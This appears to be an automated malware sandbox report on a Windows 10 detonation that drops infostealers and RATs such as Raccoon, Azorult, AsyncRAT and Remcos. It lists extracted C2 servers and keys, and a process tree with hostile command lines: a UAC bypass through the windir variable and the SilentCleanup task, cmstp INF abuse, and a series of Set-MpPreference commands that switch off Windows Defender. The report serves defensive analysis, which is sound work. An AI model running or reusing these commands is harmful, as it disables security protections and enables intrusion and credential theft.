Resubmissions

12-11-2021 18:04

211112-wnzb8aahhm 10

19-11-2020 10:08

201119-rhwlt38jrx 10

18-11-2020 17:26

201118-htd4fq29va 10

Analysis

  • max time kernel
    1801s
  • max time network
    1811s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    19-11-2020 10:08

General

Malware Config

Extracted

Family

raccoon

Botnet

5e4db353b88c002ba6466c06437973619aad03b3

Attributes
  • url4cnc

    https://telete.in/brikitiki

rc4.plain
rc4.plain

Extracted

Family

azorult

C2

http://195.245.112.115/index.php

Extracted

Family

asyncrat

Version

0.5.7B

C2

agentttt.ac.ug:6970

agentpurple.ac.ug:6970

Attributes
  • aes_key

    16dw6EDbQkYZp5BTs7cmLUicVtOA4UQr

  • anti_detection

    false

  • autorun

    false

  • bdos

    false

  • delay

    Default

  • host

    agentttt.ac.ug,agentpurple.ac.ug

  • hwid

    3

  • install_file

  • install_folder

    %AppData%

  • mutex

    AsyncMutex_6SI8OkPnk

  • pastebin_config

    null

  • port

    6970

  • version

    0.5.7B

aes.plain

Extracted

Family

remcos

C2

taenaia.ac.ug:6969

agentpapple.ac.ug:6969

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • BetaBot

    Beta Bot is a Trojan that infects computers and disables Antivirus.

  • Contains code to disable Windows Defender ⋅ 10 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modifies Windows Defender Real-time Protection settings ⋅ 3 TTPs
  • Modifies firewall policy service ⋅ 2 TTPs 8 IoCs
  • Modifies security service ⋅ 2 TTPs 1 IoCs
  • Oski

    Oski is an infostealer targeting browser data, crypto wallets.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • UAC bypass ⋅ 3 TTPs
  • Async RAT payload ⋅ 3 IoCs
  • ModiLoader First Stage ⋅ 2 IoCs
  • Disables taskbar notifications via registry modification
  • Disables use of System Restore points ⋅ 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE ⋅ 31 IoCs
  • Sets file execution options in registry ⋅ 2 TTPs
  • Sets service image path in registry ⋅ 2 TTPs
  • Checks BIOS information in registry ⋅ 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL ⋅ 13 IoCs
  • Reads user/profile data of local email clients ⋅ 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers ⋅ 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification ⋅ 2 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting ⋅ 2 TTPs
  • Adds Run key to start application ⋅ 2 TTPs 13 IoCs
  • Checks for any installed AV software in registry ⋅ 1 TTPs 2 IoCs
  • Checks installed software on the system ⋅ 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled ⋅ 1 TTPs 4 IoCs
  • Drops desktop.ini file(s) ⋅ 3 IoCs
  • Maps connected drives based on registry ⋅ 3 TTPs 4 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of NtSetInformationThreadHideFromDebugger ⋅ 27 IoCs
  • Suspicious use of SetThreadContext ⋅ 15 IoCs
  • Enumerates physical storage devices ⋅ 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry ⋅ 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe ⋅ 2 IoCs
  • Enumerates system info in registry ⋅ 2 TTPs 2 IoCs
  • Kills process with taskkill ⋅ 4 IoCs
  • Modifies Internet Explorer Protected Mode ⋅ 1 TTPs 4 IoCs
  • Modifies Internet Explorer Protected Mode Banner ⋅ 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings ⋅ 1 TTPs 5 IoCs
  • Modifies registry key ⋅ 1 TTPs 3 IoCs
  • Modifies system certificate store ⋅ 2 TTPs 2 IoCs
  • NTFS ADS ⋅ 2 IoCs
  • Runs regedit.exe ⋅ 1 IoCs
  • Suspicious behavior: EnumeratesProcesses ⋅ 64 IoCs
  • Suspicious behavior: MapViewOfSection ⋅ 9 IoCs
  • Suspicious behavior: RenamesItself ⋅ 1 IoCs
  • Suspicious use of AdjustPrivilegeToken ⋅ 64 IoCs
  • Suspicious use of SetWindowsHookEx ⋅ 7 IoCs
  • Suspicious use of WriteProcessMemory ⋅ 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe
    "C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe"
    Suspicious use of SetThreadContext
    Suspicious use of WriteProcessMemory
    PID:1212
    • C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe
      "C:\Users\Admin\AppData\Local\Temp\ou55sg33s_1.exe"
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Checks processor information in registry
      Suspicious behavior: MapViewOfSection
      Suspicious behavior: RenamesItself
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4004
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        Modifies firewall policy service
        Checks BIOS information in registry
        Adds Run key to start application
        Drops desktop.ini file(s)
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Checks processor information in registry
        Enumerates system info in registry
        Modifies Internet Explorer Protected Mode
        Modifies Internet Explorer Protected Mode Banner
        Modifies Internet Explorer settings
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        PID:4084
        • C:\Users\Admin\AppData\Local\Temp\a599quq1595ek_1.exe
          /suac
          Executes dropped EXE
          Suspicious use of SetThreadContext
          Suspicious use of WriteProcessMemory
          PID:3636
          • C:\Users\Admin\AppData\Local\Temp\a599quq1595ek_1.exe
            "C:\Users\Admin\AppData\Local\Temp\a599quq1595ek_1.exe"
            Modifies firewall policy service
            Executes dropped EXE
            Checks for any installed AV software in registry
            Checks whether UAC is enabled
            Suspicious use of NtSetInformationThreadHideFromDebugger
            Checks processor information in registry
            Suspicious behavior: MapViewOfSection
            Suspicious use of AdjustPrivilegeToken
            Suspicious use of WriteProcessMemory
            PID:2604
            • C:\Windows\SysWOW64\regedit.exe
              "C:\Windows\SysWOW64\regedit.exe"
              Modifies security service
              Adds Run key to start application
              Modifies Internet Explorer settings
              Runs regedit.exe
              Suspicious use of AdjustPrivilegeToken
              PID:1224
        • C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe
          "C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe"
          Executes dropped EXE
          Checks whether UAC is enabled
          Maps connected drives based on registry
          Suspicious use of NtSetInformationThreadHideFromDebugger
          Suspicious use of SetThreadContext
          Suspicious behavior: MapViewOfSection
          Suspicious use of SetWindowsHookEx
          Suspicious use of WriteProcessMemory
          PID:1256
          • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
            "C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
            Executes dropped EXE
            Suspicious use of SetThreadContext
            Suspicious behavior: MapViewOfSection
            Suspicious use of SetWindowsHookEx
            Suspicious use of WriteProcessMemory
            PID:3784
            • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
              "C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
              Executes dropped EXE
              Suspicious use of NtSetInformationThreadHideFromDebugger
              PID:1892
          • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
            "C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
            Executes dropped EXE
            Suspicious use of SetThreadContext
            Suspicious behavior: MapViewOfSection
            Suspicious use of SetWindowsHookEx
            Suspicious use of WriteProcessMemory
            PID:2192
            • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
              "C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
              Executes dropped EXE
              Loads dropped DLL
              Suspicious use of NtSetInformationThreadHideFromDebugger
              Checks processor information in registry
              Suspicious use of WriteProcessMemory
              PID:188
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /pid 188 & erase C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe & RD /S /Q C:\\ProgramData\\628675879158083\\* & exit
                Suspicious use of WriteProcessMemory
                PID:936
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /pid 188
                  Kills process with taskkill
                  Suspicious use of AdjustPrivilegeToken
                  PID:1676
          • C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe
            "C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe"
            Executes dropped EXE
            Loads dropped DLL
            Drops desktop.ini file(s)
            Suspicious use of NtSetInformationThreadHideFromDebugger
            Suspicious use of WriteProcessMemory
            PID:3940
            • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
              "C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              Suspicious use of AdjustPrivilegeToken
              PID:3192
              • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
                "C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe"
                Executes dropped EXE
                PID:512
            • C:\Users\Admin\AppData\Local\Temp\cLK6vDADey.exe
              "C:\Users\Admin\AppData\Local\Temp\cLK6vDADey.exe"
              Executes dropped EXE
              Adds Run key to start application
              Suspicious use of SetThreadContext
              Modifies system certificate store
              PID:3900
              • C:\Windows\SysWOW64\svchost.exe
                "C:\Windows\System32\svchost.exe"
                PID:4960
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\ZvOXjtso.bat" "
                  PID:420
                  • C:\Windows\SysWOW64\reg.exe
                    reg delete hkcu\Environment /v windir /f
                    Modifies registry key
                    PID:4520
                  • C:\Windows\SysWOW64\reg.exe
                    reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
                    Modifies registry key
                    PID:1940
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
                    PID:4620
                  • C:\Windows\SysWOW64\reg.exe
                    reg delete hkcu\Environment /v windir /f
                    Modifies registry key
                    PID:5000
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\ZvOXjtso.bat" "
                  PID:4132
              • C:\Program Files (x86)\internet explorer\ieinstal.exe
                "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                PID:1888
            • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
              "C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              Suspicious use of AdjustPrivilegeToken
              PID:992
              • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
                "C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe"
                Executes dropped EXE
                Suspicious behavior: EnumeratesProcesses
                Suspicious use of AdjustPrivilegeToken
                Suspicious use of SetWindowsHookEx
                PID:1548
                • \??\c:\windows\SysWOW64\cmstp.exe
                  "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\ia3j3zrx.inf
                  PID:3444
            • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
              "C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              PID:644
              • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
                "C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe"
                Executes dropped EXE
                Windows security modification
                PID:2520
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "powershell" Get-MpPreference -verbose
                  PID:1464
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe"
              PID:3880
              • C:\Windows\SysWOW64\timeout.exe
                timeout /T 10 /NOBREAK
                Delays execution with timeout.exe
                PID:2324
        • C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe
          "C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe"
          Executes dropped EXE
          Adds Run key to start application
          Checks whether UAC is enabled
          Maps connected drives based on registry
          Suspicious use of NtSetInformationThreadHideFromDebugger
          Suspicious use of SetThreadContext
          PID:2936
          • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
            "C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe"
            Executes dropped EXE
            Suspicious use of SetThreadContext
            PID:1012
            • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
              "C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              PID:4956
              • C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
                "{path}"
                Executes dropped EXE
                Loads dropped DLL
                Checks processor information in registry
                PID:4528
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /pid 4528 & erase C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe & RD /S /Q C:\\ProgramData\\090407618315232\\* & exit
                  PID:4500
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /pid 4528
                    Kills process with taskkill
                    PID:3108
            • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
              "{path}"
              Executes dropped EXE
              PID:4208
          • C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe
            "{path}"
            Executes dropped EXE
            PID:2764
          • C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe
            "{path}"
            Executes dropped EXE
            Loads dropped DLL
            Drops desktop.ini file(s)
            PID:360
            • C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe
              "C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              PID:4876
              • C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe
                "C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe"
                Executes dropped EXE
                PID:4972
            • C:\Users\Admin\AppData\Local\Temp\oGMCJJj985.exe
              "C:\Users\Admin\AppData\Local\Temp\oGMCJJj985.exe"
              Executes dropped EXE
              PID:4476
              • C:\Program Files (x86)\internet explorer\ieinstal.exe
                "C:\Program Files (x86)\internet explorer\ieinstal.exe"
                PID:4184
            • C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe
              "C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              PID:4532
              • C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe
                "C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe"
                Executes dropped EXE
                Suspicious use of SetWindowsHookEx
                PID:3700
                • \??\c:\windows\SysWOW64\cmstp.exe
                  "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\gqmczy35.inf
                  PID:4656
            • C:\Users\Admin\AppData\Local\Temp\r4smJnFUj3.exe
              "C:\Users\Admin\AppData\Local\Temp\r4smJnFUj3.exe"
              Executes dropped EXE
              Suspicious use of SetThreadContext
              PID:5084
              • C:\Users\Admin\AppData\Local\Temp\r4smJnFUj3.exe
                "C:\Users\Admin\AppData\Local\Temp\r4smJnFUj3.exe"
                Executes dropped EXE
                Windows security modification
                PID:4176
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "powershell" Get-MpPreference -verbose
                  PID:4964
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe"
              PID:4436
              • C:\Windows\SysWOW64\timeout.exe
                timeout /T 10 /NOBREAK
                Delays execution with timeout.exe
                PID:4856
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
    PID:3888
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c start C:\Windows\temp\mpmheacv.exe
      PID:2316
      • C:\Windows\temp\mpmheacv.exe
        C:\Windows\temp\mpmheacv.exe
        Executes dropped EXE
        PID:1236
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          PID:3876
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
          PID:400
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
          PID:3400
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
          PID:1340
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
          PID:3660
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
          PID:3236
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
          PID:4148
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
          PID:4240
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
          PID:4348
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
          PID:4472
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
          PID:4548
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
          PID:4688
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
          PID:4784
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cmstp.exe /F
      Kills process with taskkill
      PID:2244
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c start C:\Windows\temp\ynxywetm.exe
      PID:4364
      • C:\Windows\temp\ynxywetm.exe
        C:\Windows\temp\ynxywetm.exe
        Executes dropped EXE
        PID:2132
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          PID:4316
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
          PID:4916
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
          PID:4808
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
          PID:3128
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
          PID:500
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
          PID:1144
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
          PID:4268
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
          PID:3428
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
          PID:5028
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
          PID:4608
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
          PID:4992
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
          PID:5224
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
          PID:5344
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cmstp.exe /F
      Kills process with taskkill
      PID:5012

Network

MITRE ATT&CK Matrix

Replay Monitor

00:00 00:00

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6AF4EE75E3A4ABA658C0087EB9A0BB5B_569A6A04C8591541F7E990B56F9661DA
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_979AB563CEB98F2581C14ED89B8957D4
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6AF4EE75E3A4ABA658C0087EB9A0BB5B_569A6A04C8591541F7E990B56F9661DA
  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_979AB563CEB98F2581C14ED89B8957D4
  • C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\mozglue.dll
  • C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\nss3.dll
  • C:\Users\Admin\AppData\LocalLow\nb98wqnehe8bw89hb\softokn3.dll
  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UrXJ4xouC3.exe.log
  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WxzzZNQHI3.exe.log
  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ZSZAUJV5RA.exe.log
  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\bEAuR4J6Mp.exe.log
  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\lbZoNDahtD.exe.log
  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\r4smJnFUj3.exe.log
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\A3FBG8XH.cookie
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
  • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
  • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
  • C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
  • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
  • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
  • C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
  • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
  • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
  • C:\Users\Admin\AppData\Local\Temp\UrXJ4xouC3.exe
  • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
  • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
  • C:\Users\Admin\AppData\Local\Temp\WxzzZNQHI3.exe
  • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
  • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
  • C:\Users\Admin\AppData\Local\Temp\ZSZAUJV5RA.exe
  • C:\Users\Admin\AppData\Local\Temp\a599quq1595ek_1.exe
  • C:\Users\Admin\AppData\Local\Temp\a599quq1595ek_1.exe
  • C:\Users\Admin\AppData\Local\Temp\a599quq1595ek_1.exe
  • C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe
  • C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe
  • C:\Users\Admin\AppData\Local\Temp\a7eo39ywgs5.exe
  • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
  • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
  • C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
  • C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe
  • C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe
  • C:\Users\Admin\AppData\Local\Temp\bEAuR4J6Mp.exe
  • C:\Users\Admin\AppData\Local\Temp\cLK6vDADey.exe
  • C:\Users\Admin\AppData\Local\Temp\cLK6vDADey.exe
  • C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe
  • C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe
  • C:\Users\Admin\AppData\Local\Temp\lbZoNDahtD.exe
  • C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe
  • C:\Users\Admin\AppData\Local\Temp\mc1wc5757.exe
